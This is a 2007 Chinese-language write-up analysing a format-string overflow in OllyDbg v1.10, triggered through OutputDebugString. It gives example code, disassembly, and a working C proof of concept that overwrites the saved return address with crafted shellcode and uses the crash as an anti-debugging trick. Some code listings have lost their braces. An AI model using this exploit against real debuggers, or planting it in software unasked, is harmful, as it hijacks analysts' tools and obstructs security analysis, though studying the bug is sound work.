天天看点

OllyDbg Format String 0day分析和利用

文章作者:gyzy [E.S.T](www.gyzy.org)

信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

本文已经发表在《黑客防线》2007年6月刊。作者及《黑客防线》保留版权,转载请注明原始出处。

适合读者:溢出爱好者

前置知识:汇编语言、缓冲区溢出基本原理

OllyDbg Format String 0day分析和利用

文/图 gyzy[江苏大学信息安全系&EST]

OD作为一款Ring3下的调试器以优异的性能博得了广大密界爱好者的一致肯定,就在最近milw0rm上公布了一个OD 0 day的POC(OllyDbg v110 Local Format String Exploit),以前写了很多栈溢出的漏洞,却很少有Format String的漏洞,这次OD给我们提供了一个熟悉Format String问题的机会(只有原版的OD存在此问题,看雪论坛的修改版OllyIce不存在此问题)。

可能读者朋友对格式化串漏洞不太熟悉,格式化串其实也是很严重的漏洞,轻则泄露敏感信息,重则可以导致执行任意代码。这次OD出现的问题就是对格式化串过滤不严间接导致了缓冲区溢出的发生,保存在栈中的返回地址被覆盖。那么,哪些函数会引起格式化串漏洞呢?printf fprintf sprintf snprintf vfprintf vprintf vsprintf vsnprintf这些库函数。先来看一个简单的例子:

 #include <stdio.h>

 #include <stdlib.h>

 int main( int argc, char *argv[] )

 {

 if( argc != 2 )

 printf("输入一个字符串/n");

 return 1;

 }

 printf( argv[1] );

 printf( "/n" );

 return 0;

程序很简单,就是打印程序的参数,比如参数为"Hello,world",那么程序就会输出"Hello,world"。假如我们输入的是%d又会怎么样呢,如图1:

<a href="http://photo6.yupoo.com/20070719/021458_1443127157.jpg"></a>

图1

4198693 是十进制,16进制就是401125。正常的打印一个十进制数值应该是带参数的,比如printf("%d",i)。i就是一个整形变量。这里我们省略了后者,当所有参数压栈完毕调用printf函数的时候,printf并不能检查参数的正确性,只是机械式的从栈中取值作为参数,也就是我们看到的 4198693,这个时候堆栈就被破坏了,栈中的信息就泄露了(比如密码一类的敏感信息的安全这时候就受到了威胁)。这只是一个简单的例子,现实中可能并不存在这样的漏洞,但却揭示了格式化串问题的严重性。假如提供的参数是%n和经过精心构造的话可以导致往任意内存地址写数据,这也就意味着可以使存在漏洞的程序执行我们提交的任意代码。

OD这一次出现问题的函数并不是printf,而是sprintf。尽管OD已经对OutputDebugString输出的字符串进行了长度检查,只接受255个字节,但是由于没有对提供的参数进行检查,所以间接导致了缓冲区的溢出,我简单模拟了出现问题的代码:

 void fun()

 char para[10];

 sprintf(para,"%12uAAAAAAAAAAAAAAAAAAAAAAAAA");

 void main()

 fun();

关键在%12u表示显示的无符号整数扩展成12位,不足以空格补足,由于para参数只有10个字节,所以保存在栈中的返回地址会被我们提供的AAAA覆盖,如图2:

<a href="http://photo6.yupoo.com/20070719/021459_536435066.jpg"></a>

只要我们恶意的调用OutputDebugString函数就可以使OD的EIP被我们提交的数据覆盖,例如OutputDebugString("%4602d 0x90 0x90.....")构造成这样的一个字符串输出,看看OD的反应,如图3:

<a href="http://photo6.yupoo.com/20070719/021459_2085937784.jpg"></a>

图3

%4602d表示将字符串扩展成4602个字节,呵呵,够长吧?

我们可以用OllyIce来调试原版的OD,原版OD再运行被调试程序(怎么有点像无间道),简单的跟踪以后,最终定位出问题的代码如下,由于栈中0012DA90保存的返回地址被覆盖,0042E258处的RETN指令将导致EIP被控制,如图4

<a href="http://photo6.yupoo.com/20070719/021500_1047167484.jpg"></a>

图4

在OC中给0012DA8C下硬断,看究竟是什么地方覆盖了0012DA90处的值,最终定位到如下指令将0012DA90处的返回地址给覆盖了:

004A353D |. 8B4D 10 MOV ECX,[ARG.3]

 004A3540 |. 8BD1 MOV EDX,ECX

 004A3542 |. D1E9 SHR ECX,1

 004A3544 |. D1E9 SHR ECX,1

 004A3546 |. FC CLD

 004A3547 |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS&gt;

其实错误原因很明显,OD只对OutputDebugString输出的长度进行了检查,但是却没有对内容进行过滤,就是里面的格式串引发了缓冲区溢出。这个漏洞总给人感觉是鸡肋,没什么利用价值,不过用作一种反调试的手段也算可以,可以让OD进入死循环,以下是我修改过的用作反调试的POC代码, ShellCode就是简单的跳转指令:

 #include &lt;windows.h&gt;

 #define FORMAT_STRING "%4602d"

 #pragma comment(linker,"/ENTRY:WinMain")

 char shellcode[] ="/xEB/xFE";

 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)

 char* pszEvilBuffer;

 ULONG ulEvilBufSize;

 DWORD dwRetAddr = 0x7FFA4512;

 ulEvilBufSize = sizeof(FORMAT_STRING) + sizeof(dwRetAddr) + sizeof(shellcode);

 pszEvilBuffer = (char*)malloc(ulEvilBufSize);

 memset(pszEvilBuffer,0x90,ulEvilBufSize);

 int i = 0;

 memcpy(pszEvilBuffer+i, FORMAT_STRING, sizeof(FORMAT_STRING)-1);

 i += sizeof(FORMAT_STRING)-1;

 memcpy(pszEvilBuffer+i, &amp;dwRetAddr, sizeof(dwRetAddr));

 i += sizeof(dwRetAddr);

 memcpy(pszEvilBuffer+i, shellcode, sizeof(shellcode)-1);

 //输出调试字符串

 OutputDebugString(pszEvilBuffer);

 free(pszEvilBuffer);

用OD调试一下看看效果,如图5:

<a href="http://photo8.yupoo.com/20070719/021500_1827955222.jpg"></a>

图5

OD的CPU占用率100%了(我的机子是双核,所以是50%)。有兴趣的读者朋友还可以修改Shellcode,不过长度不能超过255字节。

继续阅读